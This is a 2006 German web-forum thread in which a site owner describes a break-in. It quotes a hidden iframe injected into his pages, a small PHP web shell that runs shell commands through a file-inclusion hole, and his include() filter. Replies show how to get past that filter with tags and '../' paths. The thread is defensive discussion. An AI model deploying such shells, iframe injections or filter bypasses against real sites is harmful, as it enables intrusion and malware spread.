gehackt :-(

M

Metaman

Angesehenes Mitglied
hmmm
mad.gif

mich wollte oder hat gerade jemand geärgert...
und zwar hatte ich am ende jeder htm und html Datei und am ende jeder Datei die mit index beginnt
einige iframes
CODE <html><iframe width=0 height=0 frameborder=0 src=http://www...... marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>


in manchen Datein nur einmal in anderen mehre male
wahrscheinlich konnte da jemand ein script einschleusen das diesen Code an jede der Dateien angehängt hat.
und höchstwarscheinlich kommt dieser Fehler von einem Forenscript bei dem man sich durch ein simples Coockie als Admin einloggen konnte
Den Namen dieses Forum möchte ich hier nicht nennen)

So erste Frage.
ich habe jetzt diese Codes per Hand rausgeschmissen, aber das geht auch auch per PHP.

hat da jemand vielleicht einen passenden Code, der vom root aus, alle verzeichnisse durchläuft,
dann in jeder Datei ein XXX zu AAA ändert und die Datei dan speichert..???

zweite Frage.
in den Logfiles habe ich einen Aufruf gefunden ala
index.php?seite=http:// .....
da wurde versucht eine datei mit der endung .txt?&cmd=ls zu laden
inhalt der Datei sah neben etwas html so aus
CODE <?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>



so diese index.php?seite= abfrage wird aber so verarbeitet

CODE if($seite && file_exists("./$seite")){
$seite=str_replace("http://","",$seite);
$lade=strip_tags($seite);
include("./$lade.php");
}else{
# index laden
}

das sollte doch eigentlich ausreiche?
 
den übeltäter habe ich gefunden.
und zwar besitzt das Forum auch über eine Uploadfunktion, die allerdings nicht aktiviert war??
aber wie gesagt konnte man sich ja mit einem Cookie als Admin ausgeben und dann auch diese Funktion aktiveren!

So in dem Upload Ordner lag folgende Datei
toplist_image.php-1141099310.ext
beim direkten Aufruf wird nur ein Banner gezeigt.

aber im Logfile hab ich jetzt diese Datei gefunden wo dann am ende der URL ein ?http usw angehängt war...
 
Mit dem Script lassen sich ja richtig schön die Dateien aufrufen, welche Du auf Deinen Webspace verwendest, .htaccess Dateien u.a. Das Ganze ist sogar auch in übergeordneten Ordnern möglich:
CODE ./../datei

Und schon bin ich einen Ordner höher am reißen. Mach leiber eine Whitelist bei solchen Methoden, was er überhaupt aufrufen darf, alles andere solltest Du verbieten.



MfG Sascha Ahlers
 
QUOTE (Metaman @ Do 18.5.2006, 9:30)aber wie gesagt konnte man sich ja mit einem Cookie als Admin ausgeben und dann auch diese Funktion aktiveren!

Ist das ein Bug oder eine absichtliche Backdoor?

Falls es ein Bug ist, gehört es gefixt. Falls es eine Backdoor ist - tja, die Programmierer ohne jedes Sicherheitsbewußtsein, die jedoch so gerne ihre Software kostenlos verteilen, sterben wohl nie aus.
 
nein das ist ein Bug,
der Programmierer weiß darüber bescheid und kennt auch die anderen Bugs
und ich denke mal er arbeitet auch behebung..

aber das Board möchte ich trotzdem nicht weiter nutzen und hab es auch schon komplett entfernt.

die bisherigen Hack Versuche haben auch nur auf diesen Coockie Bug geziehlt und waren sozusagen nur gut gemeinte Warnungen.
Denn es wurde dabei nichts gelöscht, sondern lediglich das Forum mit einem netten Hinweiß geschlossen, oder dem Admin die Rechte Entzogen oder Forenbeschreibungen geändert.
also nur kleinigkeiten die man schnell wieder beheben konnte.

aber z.b. hatte ich extrem viele einträge in dem Logfiles die direkt von Suchmaschinen kamen und wo ganz geziehlt nach diesem forenscript gesucht wurde...
 
Sprichst du vom XSS-Bug in den Avataren des wBB? Dem bin ich nämlich vor einigen Tagen mit meinem (leicht veralteten) wBB 2.3.3 auf den Leim gegangen. Im Netz geistern aber auch Infos zu XSS-Bugs beim aktuellen 2.3.4 herum
sad.gif
 
Neben dem was Sascha geschrieben hat, ist es möglich, URLs bis zur Include-Funktion durchzubringen:

CODE
1.) $seite=str_replace("http://","",$seite);
2.) $lade=strip_tags($seite);



Was passiert wenn ich zB:

CODE ht<b>tp://www.sonstwo.de/script.php


1.) $seite = ht<b>tp://www.sonstwo.de/script.php
2.) $lade = http://www.sonstwo.de/script.php

und schon kommt die URL bis in's include... weiß jetzt allerdings nicht genau was passiert bei

CODE
include("./http://www.sonstwo.de/script.php");



aber wäre denkbar, dass die Datei trotz ./ geladen wird... habe ich nie probiert...
 
include("./http://www.sonstwo.de/script.php");
hab ich gestestet funktioniert bei mir nicht, wäre aber nicht ausgeschlossen das es auf anderen Servern vielleicht rotzdem geht?

jetzt aber ich aber auch vergessen zu sagen, das aus der Variable $seite auch noch alle / entfernt werden
rolleyes.gif


@Malte
Nein es ist kein WBB. die Buchstaben BB kommen allerdings auch im Namen vor.
Der erste Buchstabe wäre ein D mehr möchtei ch nicht offen sagen,
da es sonst nur noch mehr Möchtegernhacker gibt die sich darauf stürzen würden.
 
hab gerade über meine Logs die "Ruhmeshalle" des HAckers gefunden, der da stolz seine
"erfolge" aufgelistet hat

sieht nach einem türkischen Forum aus.
hab mich dann mit schlechten babelfish English bedankt.

und auf englisch hat sich der Admin bei mir entschuldigt und mir auf english geschrieben , das von seiner Gruppe keine solche Extremen änderungen gemacht werden, sondern das meistens nur die Startseite ersetzt wird....

über dieses forum hab ich dann die Seite
z o n e-h. com (ohne leerzeichen) gefunden. ich
sicher auch für einige nicht hacker von interesse
 
QUOTE (Metaman @ Do 18.5.2006, 13:27) waren sozusagen nur gut gemeinte Warnungen.

Ich hab meinem Nachbar den Garten verwüstet, damit er auf seine Gefährlichen Brennesseln besser achtet
laugh.gif


Fakt ist, er hat sich unrechtmässig auf deiner Seite rumgetrieben.
 
@Benedikt du hast natürlich recht
sowas ist schlecht und auch illegal, und auch besonders ärgerlich wenn man selber betroffen ist.

Aber trotzdem bin ich der Meinung das die ja auch was gutes tun

ich weiß noch vor einigen jahren, hatte ich ein ähnliches Problem, mit einem onlineshop den ich für meine damalige firma programmiert hatte.

der lief wunderbar, und täglich kamen bestellungen, und eines tages war die Startseite durch so einen Schriftzug ersetzt worden.

Die Eindringliche hatten die original startseite umbenannt und dann selber eine neue Erstellt.

erst dadurch bin ich dann wach geworden und hab bemerkt wie unsicher meine Programmierung war und konnte das Script dann absichern.

Hätte mir ein solcher Hacker einfach nur eine Email geschickt in der schreibt, das ich Lücken im Script habe,
dann hätte ich wahrscheinlich nur drüber gelächelt...



 
+ Positiv:
Man wird auf eine Sicherheitslücke aufmerksam
Die Sicherheitslücke wurde nicht ausgenutzt, um sich selbst zu bereichern (z.B. mit Spam-Mails versenden)
Die Sicherheitslücke wurde nicht ausgenutzt, um etwas "kaputt zu machen"

- Negativ:
Startseite wird vorübergehend ersetzt, aber ja ..

QUOTE
sieht nach einem türkischen Forum aus.
hab mich dann mit schlechten babelfish English bedankt.


Aber dass ist dann schon etwas übertrieben sich für sowas noch zu bedanken, ein einfaches fc** motherf**** !?%&* bit*ç hätte genügt.
 
QUOTE (Metaman @ Mo 22.5.2006, 10:15) Hätte mir ein solcher Hacker einfach nur eine Email geschickt in der schreibt, das ich Lücken im Script habe,
dann hätte ich wahrscheinlich nur drüber gelächelt...

Ich hab ja auch nur die Brennesseln meines Nachbarn ausgerissen...


...woher sollte ich wissen, dass er Brennesseltee draus machen wollte??
 
nein das mit dem Bedanken in diesem Forum war ironisch gemeint.
Denn immerhin hatte ich ja den Ärger und durfte die ganzen Iframes aus allen Seiten entfernen.
da war ich natürlich auch schon stinkig....

für eine solche Aktion würde ich mich auch nie bedanken
denn das war ja schon keine Wahnung oder ein gut gemeinter Hinweiß mehr !!!

 
Nach dem deutschen Gesetzt ist es sehr eindeutig, aber bei einen Online-Shop werden auch wieder Kundendatengespeichert und jeder wer dort die Sicherheit nicht überprüft könnte Probleme mit dem Bundesdatenschutzgesetz bekommen.

QUOTE § 303a Datenveränderung

(1) Wer rechtswidrig Daten (§ 202a Abs. 2) löscht, unterdrückt, unbrauchbar macht oder verändert, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe bestraft.
(2) Der Versuch ist strafbar.


§ 303b Computersabotage

(1) Wer eine Datenverarbeitung, die für einen fremden Betrieb, ein fremdes Unternehmen oder eine Behörde von wesentlicher Bedeutung ist, dadurch stört, daß er
  1. eine Tat nach § 303a Abs. 1 begeht oder
  2. eine Datenverarbeitungsanlage oder einen Datenträger zerstört, beschädigt, unbrauchbar macht, beseitigt oder verändert,
wird mit Freiheitsstrafe bis zu fünf Jahren oder mit Geldstrafe bestraft.
(2) Der Versuch ist strafbar.

Quelle: Strafgesetzbuch




MfG Sascha Ahlers
 
So makaber es klingt: Aber in gewisser Weise kann jeder froh sein, der 'nur' einem (meist jugendlichen und im Ausland sitzenden) 'Defacer' zum Opfer fällt. Denn dann sieht man zumindest sofort, daß etwas nicht stimmt.

Ich hatte am Samstag mal meine IIS-Logs durchgesehen. Einige Einträge der Form

CODE 2006-05-20 23:48:55 GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php - - IP-Nummer - - - 404 0 64 0 54
2006-05-20 23:48:55 GET /adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 28
2006-05-20 23:48:55 GET /adserver/adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 37
2006-05-20 23:48:56 GET /phpAdsNew/adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 38
2006-05-20 23:48:56 GET /phpadsnew/adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 38
2006-05-20 23:48:56 GET /phpads/adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 35
2006-05-20 23:48:57 GET /Ads/adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 32
2006-05-20 23:48:57 GET /ads/adxmlrpc.php - - IP-Nummer - - - 404 0 64 0 32
2006-05-20 23:48:57 GET /xmlrpc.php - - IP-Nummer - - - 404 0 64 0 26
2006-05-20 23:48:59 GET /xmlrpc/xmlrpc.php - - IP-Nummer - - - 404 0 64 0 33
2006-05-20 23:48:59 GET /xmlsrv/xmlrpc.php - - IP-Nummer - - - 404 0 64 0 33
2006-05-20 23:49:00 GET /blog/xmlrpc.php - - IP-Nummer - - - 404 0 64 0 31


Zwei aus Russland und China, einer von einer deutschen gemeinnützigen Einrichtung, der dort Verantwortliche hat eine Mail erhalten. Er weiß wahrscheinlich gar nichts davon, daß sein Server nicht mehr sein Server ist.

Ebenso - schon ziemlich heftig - POST-Daten mit einem gesetzten HTTP_AUTHORIZATION - Feld (Negotiate, also Windows-Authentifizierung). Wenn man da überlange Daten schickt, gibt es einen Buffer-Overflow, anschließend wird versucht, per cmd.exe und ftp eine Exe-Datei zu laden und diese auszuführen. Zwei verschiedene Varianten - das eine Mal wird per FTP ein Server in der Tschechei, das andere Mal ebenfalls ein Server in Russland abgefragt, um die Exe-Datei zu erhalten.
 
Sie müssen sich einloggen oder registrieren, um hier antworten zu können.
Zurück
Oben